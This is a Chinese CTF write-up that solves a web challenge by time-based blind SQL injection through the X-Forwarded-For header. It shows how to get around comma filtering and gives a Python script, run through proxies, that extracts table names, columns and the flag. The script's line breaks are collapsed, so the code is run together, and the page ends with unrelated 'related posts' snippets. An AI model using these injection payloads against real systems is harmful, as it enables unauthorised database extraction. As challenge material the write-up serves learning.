拿到这一题,根据提示域页面显示的ip,很多小伙伴们肯定猜到了这是一道http头注入,且是与ip相关的,与ip相关的头常见的有:
Client-IP
x-remote-IP
x-originating-IP
x-remote-addr
x-forwarded-for
最常见的可能就是X-Forwarded-For了吧,所以我直接试了一下,将它的值修改为127.0.0.1,页面上的显示也跟着变了,看来就是它了。然后随便加一个单引号试了一下,发现被原样输出在了页面上,也没有报错,然后试了双引号括号等,都没有报错,难道是被过滤了,过滤了还能怎么玩呢?于是暂且排除过滤,联想到了会不会是时间盲注,于是开始写payload,但是在利用substr函数时,发现逗号后面的内容都会被截断,顿时懵逼了,小白刚刚入坑,也不知道怎么绕过,于是百度之,原来substring函数有一用法可以不适用逗号完成截取功能:

substring('mask',1,2)
等价于
substring('mask' from 1 for 2)

还有一个问题,就是我之前遇到盲注都是用if来实现条件判断,但是if大家也知道时需要逗号的,这里可以使用select case when语句来替代。
if与select case when参考,现在,我们就可以来写脚本了。
首先我们需要知道当前数据库所有的表名:

#! /usr/bin/env python
#-*- coding:utf-8 -*-import requests
import timechars = r"abcdefghijklmnopqrs tuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@;\/:.,0123456789"
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
#设置代理,可以忽略
proxies = {"http":"http://115.223.238.191:9000",# "http":"http://117.90.252.231:9000",# "http":"http://115.218.126.92:9000"
}
#这个函数的作用是获取表名的长度,知道了长度,跑表名更加方便
def get_len():len = 1while True:headers = {"X-Forwarded-For":"' or (select case when (select length((select group_concat(table_name) from information_schema.tables where table_schema=database())))={0} then sleep(5) else 1 end ) and '1'='1".format(len)}# headers = {#     "X-Forwarded-For":#         "' or (select case when (select length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'flag')))={0} then sleep(5) else 1 end ) and '1'='1".format(len)# }#headers = {#    "X-Forwarded-For":#        "' or (select case when (select length((select flag from flag)))={0} then sleep(5) else 1 end) and '1'='1".format(len)#}print u'当前长度%d'%lenlen += 1start = time.time()requests.get(url,headers=headers,proxies=proxies)end = time.time()if end - start >= 5:print "The length is %d"%(len-1)return len-1#获取具体的内容
def get_content():result = ''for i in range(1,5):for char in chars:headers = {"X-Forwarded-For":"' or (select case when (select substring(\(select group_concat(table_name) from information_schema.tables where table_schema=database()) \from {0} for 1))='{1}' then sleep(5) else 1 end) and '1'='1".format(i,char)}#headers = {#    "X-Forwarded-For":#        "' or (select case when \#        (select substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name = 'flag') \#        from {0} for 1))='{1}' then sleep(5) else 1 end ) and '1'='1".format(i,char)# }start = time.time()requests.get(url,headers=headers,proxies=proxies)end = time.time()if end - start >= 5:result += charprint u'当前进度:'+resultbreakprint u'结果:'+result
if __name__ == '__main__':get_len()#get_content()

上面的脚本只需要根据特定的目的,修改为特定的headers就行


我跑了一下当前数据库中group_concat(table_name)的length为14,于是就需要根据这个长度修改一下get_content函数的外层循环的为for i in range(1,15),由于一些失误,这里跑出来的表名混在一起了,但是还是可以才出来最后的flag就是我们想要的表名。

然后跑一下字段的长度

字段名

由于我一开始脚本没有设置代理,所以到跑内容的时候,ip被封了。。。。


没想到已经隔了一周多了,上面写的东西都忘得差不多了,但是还是要完成啊。
继续跑flag的长度:

跑到一半网挂了…最终也没跑完,不过思路就这样了,flag也不放出来了。

有大佬给出了用sqlmap与burpsuite的方法,后续可能会补上

![这里写图片描述](https://img-blog.csdn.net/20180628132319497?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2hlX2FuZA==/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70) 关注web安全与python

实验吧-who are you?相关推荐

  1. 合肥工业大学—SQL Server数据库实验四:数据库的分离和附加

    数据库的分离和附加 1. 数据库分离 2. 数据库附加 1. 数据库分离 当SQL Server服务器运行时,该服务器上所有的数据库自动处于运行状态,而运行中的数据库文件是无法进行数据库文件的拷贝的. ...

  2. 解读模拟摇杆原理及实验

    解读模拟摇杆原理及实验 Interpreting Analog Sticks 当游戏支持控制器时,玩家可能会一直使用模拟摇杆.在整个体验过程中,钉住输入处理可能会对质量产生重大影响.让来看一些核心概念 ...

  3. legend位置 pyecharts_实验|pyecharts数据可视化分析-1

    1. 实验介绍 本实验主要介绍pyecharts基本特点与属性. 1.1. 实验目的 了解pyecharts功能.特点.与安装方式. 1.2. 知识点 pyecharts特点 pyecharts图表 ...

  4. 2019春第二次课程设计实验报告

    2019春第二次课程设计实验报告 一.实验项目名称: 贪吃蛇游戏编写: 二.实验项目功能描述: 这个实验主要是实现游戏的正常运行,实现的目标是对小蛇移动的控制, 同时对小蛇数据的保存,如何实现转弯的效 ...

  5. 汇编语言程序设计 实验九

    实验内容 实验一: 补全程序t1.asm,完成在屏幕上输出内存单元中的十进制两位数 ; 在屏幕上输出内存单元中的十进制两位数 assume cs:code, ds:data data segmentd ...

  6. 20172324 2018-2019-1《程序设计与数据结构》实验2报告

    20172324 2018-2019-1<程序设计与数据结构>实验2报告 课程:<程序设计与数据结构> 班级: 1723 姓名: 曾程 学号:20172324 实验教师:王志强 ...

  7. JAVA第二次验证设计性实验报告

    [实验任务一]:素数输出 (3)实验报告中要求包括程序设计思想.程序流程图.源代码.运行结果截图.编译错误分析等内容. 1.   实验内容 (1)计算并输出3~100之间的素数. (2)编程满足下列要 ...

  8. 20172329 2017-2018-2 《程序设计与数据结构》实验五报告

    这是这学期最后一次实验了,也是学到了很多东西,希望自己可以可以善始善终,加油! 让我们开始这一篇博客吧! 20172329 2017-2018-2 <程序设计与数据结构>实验五报告 课程: ...

  9. 计算机网络实验报告建立校园网,计算机网络实验报告

    设计性实验报告 一.实验目的 通过对网络设备的连通和对拓扑的分析,加深对常见典型局域网拓扑的理解:通过路由建立起网络之间的连接,熟悉交换机.路由器的基本操作命令,了解网络路由的设计与配置. 二.背景描 ...

  10. c语言链表最高响应比优先,操作系统--最高响应比优先调度算法实验报告..doc

    操作系统--最高响应比优先调度算法实验报告. 进程调度一.实验题目与要求 编写程序完成批处理系统中的作业调度,要求采用响应比高者优先的作业调度算法.实现具体包括:首先确定作业控制块的内容和组成方式:然 ...

最新文章

  1. JSON——Jackson 时间格式化输入输出
  2. 红外防水摄像机相关配件选购小窍门
  3. java.util.Date和java.sql.Date
  4. CTFshow 命令执行 web31
  5. 百度App Objective-C/Swift 组件化混编之路(二)- 工程化
  6. docker之docker-machine用法
  7. python每天1道面试题(3)--字符串组合
  8. Kafka 优化参数 unclean.leader.election.enable
  9. apache是怎么运行php的_PHP与WEB服务器是如何交互的
  10. docker hub mysql主从_使用 Docker Compose 搭建 MySQL 数据库主从复制实例
  11. 四种JSON解析工具--(json-libJacksonGsonFastJson)
  12. 数据库课程设计:会议预约管理系统(Java+MySQL)
  13. 温度补偿计算公式_基于温度压力补偿计算的燃气表计量方法与流程
  14. mysql对象资源管理器在哪里_SQL server2008-对象资源管理器-数据库
  15. Mysql按时间区段(每隔30分钟)统计数据并展示
  16. CSS3的2D动画属性
  17. 如何设计游戏中的道具功能(二)
  18. OPPO R8107刷机教程 救砖解锁 刷机包下载
  19. sampler采样器记录
  20. printf打印浮点数,%e %f %g的区别

热门文章

  1. CSP-S 2022 总结
  2. 【数据分析干货】世界杯4强出炉!冠军将花落谁家?看看历年数据!
  3. 在MAC下解决MAC unable to execute sex :GC overhead limit exceeded GC overhead的问题
  4. 基于 STM32对音频数据的 Flash 读取与 DAC 播放
  5. 华为emui11系统是鸿蒙系统吗,华为EMUI10.1才更新不久,EMUI11就被曝,网友:咋没见鸿蒙?...
  6. 三年级计算机帮助我们学本领,三年级学本领100字作文
  7. 案件被终本后,如何继续执行?
  8. 选磁芯的AP法到底是什么?
  9. 原创:商务通弹窗最新破解方法
  10. 给定两个有着相同长度且都在字典内的单词,要求写一个方法来把一个单词变型成另一个单词。 一次只能转换一个字母,且每次生成的单词必须在字典内...